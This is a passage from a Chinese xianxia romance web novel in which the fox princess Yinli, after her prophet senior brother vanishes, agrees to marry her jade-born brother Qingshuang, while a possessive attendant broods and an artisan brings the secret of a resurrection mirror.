君竹问他:“磬言,你是身体哪里不舒服吗?” “还好,师姐为什么这样问?” “只是感觉,看你早上好像没什么精神。” “也没什么事,师姐不必担忧。” 银梨正好在这时回头,她一转过去,便见磬言正笑着凝望自己。 同时,磬言对君竹道:“要说的话,可能只是我昨天难得有了些口腹之欲,不小心吃多了。” 磬言貌似心情极佳。 君竹倒只是稀奇:“你也会忍不住吃东西吗?倒很少见。” 须臾,三人离开药庐。 在离开时,磬言不由说:“公主,看来云舒神君的预言,也未必事事都正确。 “我无意说云舒神君的坏话,只是命数这种东西,若是通通都早已定好,那世人的努力,岂非显得可笑?” 说到这里,磬言的眼眸暗得深沉。 他道:“我向来是不信什么命的。” 磬言说这话时,目光一动不动地凝在银梨身上,仿佛隐含着浓重的决心。 银梨回望过去,道:“……其实我也不愿意信。” 磬言问:“公主还在犹豫与云舒神君成亲的事吗?既然那两个伤患已醒,便可知云舒的预言也不必尽信。公主若是不愿,大可拒……” 话音未落,便有一人,出现在众人面前。 云舒神君正守在月宫前,等他们。 白绫遮了他的半面,衣袂流泻,树影在他身上染了一层淡雅的墨。 磬言及时噤了声。 但云舒显然已经听到他说的话,或者说,以云舒的本领,无论磬言说或者不说,他都会知道。 云舒并未因磬言这番质疑而生气,反而笑意渐浓。 他道:“师妹,你还没将第二个锦囊给大家看吗?” “……” 银梨顿了顿,取出锦囊,递给云舒。 云舒缓慢地打开,从里面取出纸条,放到君竹与磬言面前。 君竹只是钦佩,磬言的脸色却当即苍白无比。 锦囊纸条上不过一行字—— [初十,寅时三刻,必死之人两名,重获新生。] 在此时此刻,这已并非预言,而是昭告天下的验证。 云舒神君仍是云淡风轻之状,他不急不缓,道:“师妹,如此,你便没有怀疑了吧?” 言罢,他直接走了过来,轻轻握住银梨的手。 云舒毫不避讳,当着君竹与磬言的面,便对银梨道:“大婚之日,就定在明天吧。 “师妹,你我成婚当夜,我定会告诉你,那个鬼君的真身。”—— 作者有话说:某物:(杀意暴涨) 第32章 银梨在众目睽睽之下, 与云舒一同往清辉殿走。 在路上,云舒轻轻牵住了她的手。 两人并肩而行。 平时银梨也会扶着云舒师兄走动,但比起搀扶, 这样牵手无疑更多一分亲密。 君竹和磬言就跟在他们身后三步的位置。 君竹的反应尚且正常, 而磬言的面色, 可谓难看至极。 他阴沉着脸,一言不发。 这一路,几人都没怎么说话,磬言更是格外安静, 像一道沉默尾随在后的影子。 终于, 四人停在清辉殿外。 银梨回过头的时候, 磬言的神情,让她微微一惊。 他情绪已经平静了,清秀的面庞挂着从容的笑, 嘴角与平日别无二致的上扬弧度,但笑意不达眼底。 树影模糊了磬言的五官, 本就没什么特征的脸愈发迷蒙不清, 连他眼角那颗小小的泪痣,都带上了两分诡谲的味道。 银梨顿了顿,才道:“君竹,磬言, 你们都回去吧。我与师兄在一起, 不会有什么事。明日的大婚, 时间紧迫, 还有许多事,我们两个要单独商量一下。” 君竹觉得这件事太快了,她还不太能反应过来。 不过银梨的决定, 她定然是全盘接受的,懵了一瞬,便应道:“是。” 磬言则更为淡然:“好。” 他对银梨微笑,道:“公主,那我们,明日再见了。” “……再见。” 磬言嘴上说着道别的话,实则一直站在原地没动。 银梨与师兄并肩往里走时,即便不回头,她都能感到那道漆黑的目光自始至终钉在自己背后,一寸未曾偏移。 …… 两人走到大梨树下,待周围没有别人,师兄就轻轻放开了她的手。 两人方才看似手牵着手,实则师兄几乎并未用力。 他的手指一直是虚虚收着,保持着某种客气的礼节,不给人压力。 银梨将掌心浅拢,收到胸前。 周围只剩下他们两人,云舒便不再装模作样,直切正题。 他从袖中取出一个药包,对银梨道:“这是一整袋锁念草,共计三十天的用量,你每隔十天服一次,接下来的一个月,便无人可以窥见你的心事。等到所有事情结束,应该还有富余。” 银梨郑重接过:“好。” 云舒又说:“最后一个预言,我已写作锦囊,收在我的枕头下面,明日一早,你自行去取即可。” 银梨 又应下:“好。” “那我先走了。” 该说的都说完了,云舒笑了笑。 “我还有些话,会交代给青霜。剩下的事,你们两人应该知道该怎么办。” 他淡定地对银梨颔首:“师妹,多加珍重。” 是道别,却没有说再见。 云舒转身要走。 “师兄!” 银梨忍不住叫住他。 她问:“……你说你注定会死,那杀你的……是那个鬼君吗?” 云舒回过神来。 他仍如云雾一般缥缈轻盈。 “我不便多讲,不过,一切事实,你很快都会知道。” 他说。 “——还有!” 银梨再度拦他。 云舒笑了笑,没等她问出口,已然回答了她:“不必在我身上浪费复生莲,不合适。” 银梨口中苦涩,她其实还想问得更细些,可又知道云舒师兄没有主动说,便是不打算透露更多。 不舍的情谊在胸口涌动,银梨还想再挽留他片刻,便搜肠刮肚想着可以问的事:“那么……” 云舒不急不躁,只站在原地等。 脑子里剩下的问题则有些尴尬。 银梨踌躇半晌,才问出口:“师兄……你说你对我讲的,并不每一句都是实话。那你说你真心爱慕我,是真话,还是假话?” 云舒听到这一句,笑了。 他抬起手臂,宽阔的袖管悠然垂下,最后,指节分明的手放在银梨头上。 银梨的耳朵被压了下来,她不自觉地将双耳向后背去,抬眸疑惑地看他。 云舒说:“真的或者假的,又有什么关系?师妹,不是所有事情,都非要有个确定的结果。 “或许会有人会追求长相厮守,可于我而言,即便只拥有短促的朝暮,已是幸运。 “师妹,能在当年遇见你,我很高兴,若命运真能改变,让我可以重新选择一次,我也会选择如此。” 他在清风中收回手,后退半步。 白绫之后,银梨已看不见他昔日那双琉璃质地的金色浅眸,不过,当微风晕染他的面颊,银梨好像还能想象他当年的表情。 云舒言道:“若你一定要知道真的还是假的,那,师妹……你猜呢?” 笑意渐浓,云舒对银梨颔首致意。 随后,他旋身离去。 银梨望着师兄被衣袍裹挟着的清癯背影,忽然发现自己心口揪得很紧。 若一切真如师兄所言,她猜,这是她此生见师兄的最后一面了。 眼角有点发酸,无助的情绪涌上来,但银梨硬将这些都压了下去。 她咬紧嘴唇,未等眼眶发红,便用袖子擦了擦眼眶。 等再抬头,已面色如常。 银梨将锁念草收好,握紧手中的剑,转身进了屋中。 * 夜深。 云舒坐在桌边。 身外之物皆已收拾妥当,客房内拾掇一新,诸物齐整,简直像没有住过人一样。 门窗大开着,像在静候什么。 突然,阴风从窗外灌入,烛火“噗”一声灭了。 云舒安然如故。 他很清楚,无论是因为他宣称要将鬼君的真身昭告天下,还是因为他宣布要与银梨成婚,对方都势必会让他闭嘴。 今夜,他必须从这个尘世间消失。 凝夜之下,气温骤降。 云舒转过头,对着空无一物的幽暗窗外,笑道:“你来了。” 在外人眼中,窗外什么都没有。 唯有神眼的视角里,在无边的寂静黑暗中,有一个扭曲的人形轮廓,不知何时,一言不发地伫立在那里。 说时迟那时快,话音刚落,黑雾山呼海啸般升腾而起,邪气四溢,吞没了整个屋子! 只一瞬间,浅金色的衣摆,就被淹没在鬼雾中。 ………… …… 次日。 辰时,天明未久,月宫已然乱成一团。 门响三下,磬言敲开了银梨的书房。 “公主。” 他看到银梨一早未在月梨花树洞中,反而坐在书房里,好像并不怎么意外。 磬言沉痛地在银梨面前低下头,汇报道:“今早,有人发现云舒神君在屋中不见踪影,大概……失踪了。” 云舒早就给出过死亡名单,也预告过自己会在今日死去。 他清早便不见人影,人尽皆知是出了事。 不必想也知道,现在月宫弟子们一定在到处奔波,试图寻觅云舒神君。 银梨却不打算费这个功夫了。 师兄做了这个选择,必定有他的考量。 他知晓前方等候的是什么,仍如此行事,想来是早已为银梨铺好了前路。 师兄说过,让她相信他。 银梨决定遵循他的意志。 沉寂片刻。 良久,她垂下眼睑,道:“……是吗。” 银梨的反应远比正常要冷静。 她起身:“走吧,我们去师兄住的客房看看。” “……公主。” 磬言没有立即跟随银梨,反而向前一步,单手去触她的面颊:“你的眼角好红,昨晚是哭了吗?” 银梨的眼周泛红,下唇似乎因为她自己咬得太久,破了皮,血色褪去,微微乌紫。 熟悉的人一眼就能看出她状态不佳,但纵然如此,银梨维持着镇定的神色,若不是咬嘴唇的痕迹实在难以掩盖,单看神态,几乎没有异样。 银梨被这样盯着不自在,不觉扭开,微微避开对方的视线。 磬言却不愿挪开,仍旧认真地注视着她,担心地问:“那位云舒神君……对公主来说,有如此重要?” “……他是我师兄。” 银梨抿紧了嘴唇,回答。 “我会为他报仇。” 银梨的眼神十分坚毅,在这双眼眸最深的地方,也藏匿着隐忍的火苗。 就在磬言最靠近她的那一息,她貌似不经意地错开了。 然而,在银梨打算离开时,磬言一把扣住了银梨的手腕。 “……云舒神君,是不是还有什么话留给了公主?” “……怎么了?” “我不想公主过去。” 磬言道:“……我有预感,我最讨厌的一件事将会发生。” 银梨转头去看磬言。 他的眸子像被最浓的墨侵染,漆黑一片,可银梨又觉得其中隐含着些许脆弱的气息,好像受伤很深。 让人难以读懂的神采。 银梨深深看了磬言一眼,拍了拍他的肩膀,像是安抚。 银梨大步离开书房,毫不犹豫地向云舒神君的住处走去。 云舒神君的住处十分干净。 他能预计到自己的死期,因此提早收拾好了一切。 屋子就像从没有人住过一样,唯有桌上留下一杯凉得没了温度的酽茶,泄露了这间屋子的住客前夜离开得仓促。 青霜等人都在。 银梨进去,直接走向床铺,将手探到枕下。 她对众人道—— “师兄曾对我说过,若有个什么万一,他已提早为我留下了另外一个可以为我解开鬼信物的人选。” “其实云舒师兄说要与我成婚,不过是权宜之计,并非真有此意。他说,我与他有缘无分,并无天命。” “云舒师兄早就知道我的真命姻缘在何处,只是世间情愿重在情谊,纵使身系红鸾命缘,若是提早告知,未免有强扭之嫌,也就失了意趣。因此,他才三缄其口,不曾透露。” “但事到如今,已顾不了那么多,尽快将鬼信物解开才是正经,云舒师兄也不得不为我破例。” 说着,银梨果然从枕下又摸出一个锦囊。 “不出意外,这回师兄写下的,就是我的真命伴侣。” 她道。 在众目睽睽之下,银梨将锦囊打开。 与之前的其他锦囊一样,这里面放了一张字条,除此之外,还有一个拇指大小的木头人偶。 这木头人偶被雕成了小女孩的样式,没有很清晰的五官,但编成环的发饰、月宫弟子的衣装,还有发间的狐耳和身后的九条狐尾,都很容易让人联想到幼年时期的银梨。 不等银梨反应,旁边的青霜先是一怔,然后从袖中摸出另一个人偶。 完全成对的木偶。 不必猜也知道,青霜的这个人偶,一定是云舒师兄事先交给他的。 只是青霜手里的这个,是男孩的样子,而且头上有尚未长成的鹿角,背后则是小小一团的鹿尾。 两个小木偶放在一起,既像伴侣,又像兄妹。 银梨与青霜四目相对。 在木偶配成一对的刹那,兄妹俩也同时看清了纸条上的内容。 纸条上面,总共只有八个字—— [远在天边,近在眼前。]—— 作者有话说:某物:就一定要拆我的信物吗,也行吧,来一个少一个。╰(*°▽°*)╯ == 宝子们别怕,众所周知仙侠文可以穿复活甲,都有都有,大家都有的穿。 第33章 从有意识的第一天起, 银梨就一直和青霜生活在一起,从未分离。 在最早最早的记忆里,银梨还是一块动不了的狐狸玉雕。 她已经有了蒙昧的灵识, 她知道自己是白色灵玉, 被雕成九尾狐的样子, 但觉醒的灵智过于微弱,还不足以让她操控身体自由行动。 在那狭小的神识范围内,她能看到自己身边有一块青色灵玉。 那块灵玉,与她是一样的大小、质地, 只有颜色不同。 他被雕成了灵鹿的造型, 纤细匀称的身躯, 小巧灵动的脑袋,直立的鹿耳之后,有一对枝杈般优美的鹿角。 这块青鹿玉雕也一动不动。 但银梨知道, 他同样能用感受到自己。 他们被一同摆在盛放太阴星的琉璃盏旁,肩挨着肩。 银梨无言地守望着青鹿玉雕, 青鹿玉雕也无言地守望着银梨。 就这样, 光阴如水流逝。 他们无法交流,却彼此凝望,不知不觉,便度过了两三百年。 直到有一天, 银梨拥有了足够的灵识。 她使劲扭动身体, 冰冷的玉壳逐渐成了温暖的血肉, 坚硬的石躯有了蓬松的毛发。 银梨抖了抖身子, 睁开眼睛,从灵台上一跃而下。 她转过头,就看到一只青色的小鹿。 他也是初落地的幼崽, 像刚驯服自己的四肢一般站在地上。 银梨看向他的时候,他也用一双温柔的鹿眼望了回来。 他是银梨拥有肉眼后,初次睁眼,见到的第一个生灵。 银梨知道,他也一样。 这时,一个女子一伸手,将他们都搂进怀里。 女子说:“我是太阴神女月婵,你们是我用太阴星育化的玉石青鹿和玉石白狐,我早已给你们起好名字,分别叫青霜和银梨。” 那是他们第一回 见到姐姐。 那是一个何等美丽清灵的女子。 姐姐望着他们时,满面皆是欣喜。 她早就预测到他们会化形的日子,特意守在旁边等候,迫不及待地与两者见面。 姐姐宣布:“从今往后,你们就是我的弟弟妹妹,我会尽力抚养教导你们。我从未有过亲人,如果有什么做得不对的地方,请你们多多包涵。” 银梨看看姐姐,又看看青霜。 姐姐自不必说,她是姐姐用太阴星育化的,光是感受到姐姐身上饱含太阴星之力的仙神气息,她就觉得无比亲近。 至于青霜…… 他们是初次见面,可又早已相识。 数百年来的无声相伴,让银梨对他滋生了不同寻常的情感,他们从未说过话,对彼此却那么熟悉;他们好像生来就有默契,只消一个眼神,就能明白对方的想法。 石头本没有亲缘,可在青霜身上,她一开始就能感觉到亲情。 他们本就该是兄弟姐妹,从诞生就有情感维系,世上任何东西,都无法将这份缘分从他们身上剥离。 青霜,就应该是她的兄长。 最关键是,当两人目光相接,情感在其中流动,她能笃定地感受到,青霜对她的感情,与她别无二致。 “呦呦。” 就像应证银梨的想法一般,神女话音刚落,青霜便低下头来,摆了摆圆尾,在银梨的额上舔了一下。 好温情的一双鹿眸,像深山中潺潺的溪流,清澈见底,温柔得能将春花融化。 他们都是玉石时,兄妹俩一般大小,但有了能动的身躯,形态更接近真实的动物,青霜的体型就比银梨要高大。 银梨眯起眼“呜”了一声,作为回应,便用脑袋去顶青霜的下巴。 他们很快玩到一处。 * 银梨和青霜一同慢慢地长大了。 他们同一天拥有灵识,同一天能动,也在同一天化成人身。 在两人年幼的时候,他们甚至一般高,每天都作相似的打扮,同进同出。 “他们便是银梨和青霜吗?” 不知从何时起,姐姐的客人看到他们两个,总会说相同的话:“不愧是成对的灵玉,真是金童玉女!长得好像!举止也好像!” 银梨与青霜并肩跟在姐姐身后。 姐姐的朋友刚给他们分了两块花糕,她与青霜一左一右,都双手拿着在吃。 银梨听到这话,就不由去看青霜。 青霜也转头看她。 银梨早对这样的同步习以为常,全然不知这样的画面落入旁人眼中,会是什么感觉。 银梨试着对客人解释:“我们也没有特别像,哥哥是青鹿,我是九尾狐。” 青霜也说:“我和妹妹不完全一样,她是女孩,我是男孩。” 银梨又指青霜:“他喜欢吃枣子,我喜欢吃梨。” 青霜说:“妹妹喜欢冬天,我喜欢秋天。” 不知怎么的,姐姐的客人听完这话,笑得更大声了。 * 然后又大一些,兄妹俩被允许自由去月宫外面玩。 毕竟是神女月婵的弟弟妹妹,世上能威胁他们的东西很少,他们在月宫周围的人境玩耍,就像在自家的后花园。 就是在这个时候,两人在月东林外发现了那片梨花林,以及安静的湖泊。 “哥哥,你快点!” 梨花林中,兄妹俩一前一后跑着。 在梨花开得最好的季节,他们常来这里游戏。 银梨活泼好动,不太耐得住性子,而青霜要沉稳一些,因此显得慢条斯理,同样的路,他总要停下来看看花草,便总落在银梨后面。 银梨慢了三分,等青霜追上她,她索性直接拉了青霜的手,向湖的方向跑去。 他们常在这里追逐、爬树、闻嗅花草。 有时候,他们会在湖边模仿凡间的场景,就像在演绎戏剧一样。 “哥哥,吃我一剑!” “笨妹妹,你被我骗了!” 他们扮演过凡间的师兄妹、仇敌、侠客、好友、凑巧同乘一条船的旅人。 这是他们兄妹间常有的玩乐,他们通过这些,来学习理解凡间种种,当然,更多的时候,可能只是单纯的胡闹。 偶尔有些时候,他们也会扮演恋人、夫妻。 银梨都不记得自己和哥哥模仿过多少次凡人的大婚成亲。 青霜手很巧,他能用野草和落花编出许多小装饰,来冒充凤冠霞帔。 银梨看过青霜做,自然也能编,只是她没有那么好的耐心,做得大多要粗糙一些。 他们手拉手追逐,假装是长街接亲。 他们对着梨树鞠躬,假装在夫妻拜堂。 最后,他们还用手互相喂湖水,就当是喝交杯酒。 许多细节,银梨已记不清楚。 但她还记得,互相喂完交杯水以后,青霜总会望着她笑。 青霜是清俊端正的相貌,许是因为被雕成青鹿,那双鹿一般气质的眸子长得分外认真深情。 他笑起来的时候,眉眼弯弯的,如同晴空的月牙。 当他那样望过来的时候,任谁都会认为,自己是他眼中的唯一。 * 时过境迁。 世间万物不断变化,无忧无虑的童年早已过去,连姐姐都不在了。 但此时此刻,唯有那双单纯又温柔的鹿眸,仍然陪伴在她身边。 他们当了太久的兄妹,彼此太过熟悉。 从青霜的眼中,银梨轻而易举地读懂了 他的情绪。 他错愕、惊讶,不过,也有随时愿意和银梨配合的纵容坦然。 云舒师兄的锦囊里,暗示了银梨的真命之人,是他。 青霜没有太多犹豫,他只是转头握住了银梨的手,与过去一般在乎她的情绪,问:“银梨,你是怎么想的?” 银梨还不知道。 她与兄长扮演过很多次夫妻,在玩耍时成过无数次婚。 而且他们是感情很好的兄妹,就像所有无知的孩童那样,银梨小时候不止一次说过“将来想和兄长成亲”这样的蠢话,青霜也是如此,真情实感地说过“长大要与妹妹结为夫妻”。 但当时再怎么情真意切,这终究是孩童的玩闹罢了。 伴随着两人长大,这些言辞就自然而然地在他们之间消失了,成了记忆里的笑谈。 银梨与青霜从小亲密,他们的确是彼此最重要的家人和朋友。 而现在,云舒师兄留下预言说,他们应该结为夫妻。 ……这是真话吗? 云舒师兄早说过,为了达成目的,他未必句句都是实话。 云舒师兄的预言实则也很缥缈,银梨不太确定。 她与青霜之间,会存在爱情吗? 银梨有些茫然,她信任青霜,青霜也信任她,但除此之外,好像并无其他。 姐姐曾经说过,世上有命中注定的缘分,那她与青霜,是如此吗? ……不知道。 仔细想想,她与青霜一起被姐姐捡回家,一起诞生灵智、一起化形、一起长大。 他们从小就是成对的玉石,如此相似,如此契合,世上难道还会有比这更合理般配的缘分吗?若论起来,这又何尝不是一种命中注定? 也许,真正注定的伴侣,的确在她诞生的那一刻,就已经在她身边了。 这就是,远在天边,近在眼前。 银梨从青霜身上感受不到对彼此有男女情谊,但她知道,青霜的想法应该和她一样。 银梨问他:“哥哥,那你觉得呢,你可以吗?” 青霜回答:“只要你愿意,我就愿意。” 银梨道:“好,那我愿意。” 她回握住了青霜的手。 * 银梨和青霜对月宫外界隐瞒了云舒神君失踪的消息。 但是,他们公开了两人决定成婚的喜讯。 银月城欢庆一片,众人皆喜,俱来道贺。 万千百姓与月宫弟子之中,只有一人,在银梨身后,露出了阴郁的表情。 第34章 “公主, 首饰只准备这些够吗?婚服会不会还是有些素净了?” 镜前,君竹站在银梨身后,拿着三四支步摇和发钗摆来摆去, 举棋不定。 “其实简单端重虽也不错, 但公主还是更适合华美的风格, 如今这般,总觉得差了点什么。” 君竹不无遗憾地叹气:“婚期还是太紧了,若是时间充裕一些,便能去仙界定制合适公主的婚服, 如今只能用成衣, 终究差了些。” 银梨端坐在镜前, 镜中的她上了大半的妆,额间描了花钿,容颜比平日更多几分绮丽, 含苞的花树一夜绽放,忽然便成了盛景。 只是银梨面无表情, 并无即将新婚的青涩赧然, 反而是公事公办的严肃。 她说:“时局本就不好,一切从简即可,不必废那么多功夫了。” 一切确定以后,银梨的婚事迅速提上议程, 紧锣密鼓地开始筹备。 当初云舒师兄说要与她成亲, 因为时间实在太紧, 只有两三天之期, 几乎不可能正经办仪式,且不说云舒师兄话里虚实难辨,就算真要办, 肯定也是大致摆个酒、点个喜烛,再拜个堂就算礼成了。 相比之下,这回与青霜的亲事,就要正经得多。 婚期定在下月,二月十五。 满月佳期,大吉大利。 在那日,太阴星的力量将达到最大,对凡间来说,本就是寓意吉祥、值得庆贺的日子。 这桩婚事公布以后,银月城可谓张灯结彩,普天同庆。 月神陨落以来,银月城许久没有过这般值得庆贺的喜事了。 城中百姓甚至有些过于兴奋。 许多人自发拿出了仓库里积灰已久的彩灯,张罗着挂在门前,一到晚上,银月城中的灯火一串一串亮起,直通天上银河,简直与昔日庆贺神女月婵的生辰圆月节一般隆重。 这真是桩人人满意的亲事,银梨都能感受到众人的真心喜悦。 世上认为她与青霜生来就应结为连理的人,大概当真不少。 银梨这两天碰到温笥,他回回都在眉飞色舞地跟人说他早就觉得公主少君真是珠联璧合、天生一对,两人早该成亲了,没想到拖了这么久云云。 每回看到类似温笥之人喜形于色、真心祝福的神采,银梨自己便也觉得,或许她是应该与青霜成亲的,这是最正确的选择。 虽说他们并无男女之情,但这世上又能有什么爱情,敌得过她与青霜这般坚不可摧、无可比拟的亲情呢? 只是,一个月的时间终究还是有些紧了。 以正经神女大婚的通常规格来说,远远不够。 但银梨情况特殊,为了尽快解开鬼信物,只能如此。 更何况,这桩婚事里,还蕴含着更多的筹谋。 君竹离开取东西的功夫,银梨回过头,看向门外。 她习惯住月梨花树,过往不太住正经寝宫,这回为了准备大婚,她还特意将一个屋子重新腾扫出来,用作闺房。 磬言,就守在屋外。 屋外正下着大雪。 最近天气一直很差,数月来笼罩着银月城的阴云始终未散。 银梨公布婚讯后,情况进一步恶化,乌云黑沉沉的,重到连日分不清白天黑夜,而且本应马上就到春季,是该回温的时节,可近日天气反倒一转,气温骤降,竟又下起雪来。 不是那种悠然的、美丽的雪。 阴恻恻的、昏暗的天色下,大雪没日没夜地落下,雪花里掺着厚重的冰晶,落到地上就会凝结,气温骤降,冰冷刺骨。 而与这天气一样阴沉的,是某人的脸。 磬言最近极其安静。 他的言行其实挑不出毛病,和过往一样跟在银梨身边寸步不离,和过往一样温柔体贴,对银梨说话温声细语。 只是眼神,一天比一天黑沉。 见磬言又独自一人守在外面一言不发,银梨招手将他唤进屋来,问道:“磬言,你最近是不是不太高兴?” “我吗?” 磬言进了屋,听银梨问他这个,还有些惊讶。 他笑了起来,眉眼温柔,如含春水。 他说:“公主别担心,我很擅长等待,所以不太容易不高兴。” “等待?” “今日确定之事,不意味着将来也不会改变。” 磬言微笑着说。 他在这个时刻仍带着笃定的笑容,泪痣幽幽,不知为何,平淡的长相竟让人感到有些妖冶。 “就像公主现在可能是打算与青霜少君成婚,却不意味着青霜少君永远都会是公主的丈夫。” “我很有耐心,所以可以一直等。只要等得够久,就必定能等到那个可以逆转乾坤的时刻。” 磬言的眸色逐渐加深。 他轻轻地道:“我不在乎她喜欢的第一个人是不是我。” “我喜欢一个人,我只在意她会不会有朝一日愿意跟我在一起,至于其他人,无论她过去喜欢谁、与谁在一起过,都无关紧要。” “既然凡事都能变化,又何必为一时的结果不开心?” 银梨总觉得他话中有话,意有所指。 银梨道:“但我与青霜的缘分是云舒师兄亲笔所写,师兄拥有神眼,预言 从未有错。即使他说我与青霜是命中注定,你也认为我们并非牢不可破吗?” 磬言笑:“我从不相信什么命中注定。如果真有,我就试试把那条红线剪断,然后系到我自己身上。” 磬言说得志在必得,他眼底的幽暗之处,闪烁着某种奇异的光彩,不像是在开玩笑。 银梨沉默片刻,取出一个毛领,围到磬言脖子上。 磬言方才还沉浸在某种幽深的情绪之中,被这样猝不及防地一围,一愣,眼中刚凝结起的忧郁,由于这突如其来的一举,蓦地散开。 磬言捂着毛领不可思议:“……这是?” 银梨道:“很久以前我用自己身上掉下来的毛发做的……上次你特意追到梨花林那里就为了给我披个外套,我就想,你可能是比起仙神之体,更倾向于用传统方式保暖的人吧?最近这么冷,你又一直守在外面,戴着吧。” 银梨通常来说是不会掉毛的,但姐姐刚去世的那段时间,她状态太差,尾巴一把一把地掉了很多毛。 本来这些毛可能也不会特意保留起来,但姐姐生前没有留下可用于复活的媒介,导致无法用复生莲重生,银梨考虑一下,便将这些狐狸毛收拾起来,做了这个毛领。 本来只是防患于未然,倒没想到过了一百年,还能找到些用途。 磬言握着这个毛领,满脸难以置信。 过了很久,他才露出真心的笑颜来,郑重地道:“谢谢公主,好高兴,我一定会好好保管的。” 银梨道:“……你都不问问为何我不将它送给别人,反而送给你吗?” 银梨正要成婚,送这样的物件给磬言,实则不怎么合适。 但凡有几分敏锐,都要多想一想。 然而磬言毫不在意似的,只笑得开心:“公主既然送给我了,那是什么样的理由,都无所谓。” 磬言的目光过于坦荡,反而换银梨心虚。 她总有种自己在做坏事的错觉,心生愧疚,不由移开了视线。 * 婚礼一日一□□进,在离大婚只剩两天时,药庐那边传来消息,说从荒林邪鬼腹中救出来的两个幸存者恢复良好,而且其中一个幸存者非常坚持要见银梨,已经托人传达了数次,似乎很要紧。 银梨记得上回她去探视时,那原形是穿山甲是修士就看上去有话想说。 银梨想她或许是真有什么重要消息,便寻了个空子,前往药庐。 小女孩和穿山甲看上去果然是痊愈了大半。 小女孩已经能行动自如,她原本是守天城的人,银梨将她从邪鬼腹中剖出来时,她其实被邪鬼抓住还没有几个时辰,因此受伤不重。 经过这段日子的恢复,她已经能报出自己的住址,已有人在为她寻觅家人。 穿山甲则恢复得更快,她本来就有些修为,银梨见到穿山甲时,顿了一下才反应过来,因为她已经能化成人形。 那是个女子,看上去和银梨差不多大,容貌清秀干净,但气质却出乎意料的干练,一身布衣,有些武人的粗犷气势。 她一见到银梨,就主动自我介绍:“见过公主,我名叫玉生烟,本是宝月城的玉石工匠。” 银梨等着后文。 玉生烟见银梨没有立刻反应过来,忙补充道:“八百年前,神女月婵拾得两块神玉,打算做成玉雕,但她自己不善雕刻,是寻了一位当时住在现今宝月城一带的玉匠雕刻的。 “若我师门中记载无错,神女月婵当年寻的那位,便是我们师门数百年前一位已经回归仙神界的祖师奶奶。 “换言之,银梨公主和青霜少君,当年应该都是出自我的师祖之手。” “——!” 此言一出,银梨惊起! 这段往事她听姐姐讲过,细节一一都对得上,只是她与青霜被雕出来的时候,那玉匠住的地方还不叫宝月城,银梨一时没有反应过来。 事情都过去千年了,玉匠在乱世也不吃香,这一脉没有传下来都很正常,银梨没想到还能遇到与之有渊源的人,震惊之余,心中也生出几分亲近。 她问:“那你后来怎么会落入那邪鬼腹中?还有你说有话要对我说,又是什么事?” 玉生烟道:“说来惭愧,我之所以会离开宝月城,其实本来是打算来银月城见公主的,没想到半途被那邪鬼吞入腹中,险些功亏一篑。 “其实半年前,我在师门中整理古籍,不料机缘巧合发现一个隐藏了几百年的密室,我沿着密室入口拾级而下,在最里面,竟找到神器回光镜的铸造之法!” 第35章 回光镜?! 银梨闻言, 简直有些不可置信。 她做梦都不敢想有这样的好事,有人在这种时候递来回光镜的消息,无异于雪中送炭、暗室逢灯。 依照玉生烟所言, 事情的经过大致是这样的—— 玉生烟本是宝月城玉匠一门的嫡传弟子。 这一门历来只传手艺, 不限仙凡, 因此门中弟子修为不一、来路各异。 其祖上有过雕刻银梨和青霜的著名玉匠,十分辉煌,尽管门中收徒谨慎,前来拜师者仍络绎不绝, 门中作品更是有价无市、一玉难求, 可谓历史最为悠久的玉匠传承。 然而月神陨落之后, 这一门派处境便一落千丈。 玉匠的手艺,一是为仙神和修仙者铸造灵器,二是为凡间制作工艺品。 长夜降临后, 留在凡间的仙神大量回归仙居之界,修仙者也死伤大半, 神器需求锐减;而凡人朝不保夕, 米珠薪桂,连日常生活都难以保障,又何来闲情逸致摆弄玉制品? 玉匠一门处境尴尬,弟子死的死、走的走, 连有修为的师长之辈都大多前往仙界避难, 只余下极少数人还留在师门中。 等到玉生烟这一代, 门中其实只剩下她和她师尊而已。 “半年前, 师尊去世,门派之中,当真只剩下我一个人了。” 玉生烟道。 “那天, 我在书库中整理师尊生前的手记,不想,竟在书柜后发现一个陈旧的机关,我凭这些年来学到的技术解开,就找到了那个密室。” “我举着蜡烛往下走,在密室里就找到了回光镜的铸造之法,还有数百年前,师门中一位前辈的日记。” 玉生烟顿了一顿,继续往下说—— “原来,留下日记和回光镜铸造之法的前辈,是引兰神女的嫡传弟子之一。” “引兰神女正是雕刻银梨公主与青霜少君的神女玉匠。” “事实上,回光镜,本也是引兰神女的作品之一。” “但不知为何,月婵神女在引兰神女制作出回光镜这般可以媲美复生莲的神物以后,非但不高兴,反而忧心忡忡,并且坚持要求引兰神女销毁回光镜的制作方法,不能将其公之于众。” “引兰神女与世上其他人一般,对月婵神女极为尊崇,因此最终被她劝服,烧掉了所有与回光镜有关的手记。” “但引兰神女的弟子对这一决定并不理解,认为好不容易炼就如此神器,就此尘封实在可惜。” “于是,他便瞒着神女,将所见的回光镜制作之法全都记录下来。在神女回归仙界后,他继承了门派,利用职务之便,在书库下修建密室,将留存的这份回光镜的制作秘法和解释全过程的日记,都留在密室之中。” 玉生烟深吸一口气:“我发现这些以后,马上便想写信到银月城,将事情告知公主。 “但信写好后,我转念一想,公主日理万机,未必会看我这般无名小卒的信件。再者,此事事关重大,万一被一些强悍的鬼怪截获信件,反而易生事端。 “我思来想去,觉得还是应当由我亲自携带秘法与手记,来银月城与公主面谈才保险,这才收敛行装,赶来银月城。 “倒不成想,反在中途被那鬼怪截住,险些误了大事。” 据玉生烟描述,她被那邪鬼吞了以后,可谓拼尽全力保护自己,将全身仙力都覆盖在表面,防止被邪鬼的囊袋腐蚀。 万幸她原形是穿山甲,修炼过后,表壳坚 硬非常,属于防御能力极强的生灵,这才勉强保住一条性命。 但即使如此,代价仍然很大。 银梨其实看得出来,玉生烟天资极佳,能被那个邪鬼吞了那么久而不死,以前修为定然深厚,只是经此一难,她本来的修为几乎都被耗光了,可谓多年辛苦修炼皆毁于一旦。 幸好玉生烟自己还挺看得开的。 见银梨面露同情,她便洒脱地解释:“公主不必介怀,我知道多的是人在那个邪鬼腹中永无重见天日之极,我能保住自己的性命已是幸事。 “况且,若是将回光镜的制作之法交给公主之后,公主能让月神重生,那我自有大把时光重新修炼。如此代价,必定是值得的。” 话完,她便将有关回光镜的卷轴呈上。 玉生烟说:“这里面的内容我已先一步看过。根据卷轴记载,回光镜以一种特殊灵玉打造,有起死回生之力。 “尽管它跟复生莲一样,只要使用一次,便会被抽干所有灵气导致本体碎裂,无法再用,但却避开了复生莲非要复生者血肉为媒介的弊端,与复生莲相比,可谓各有千秋。 “关于回光镜的铸造之法,我也大致研究了一遍。 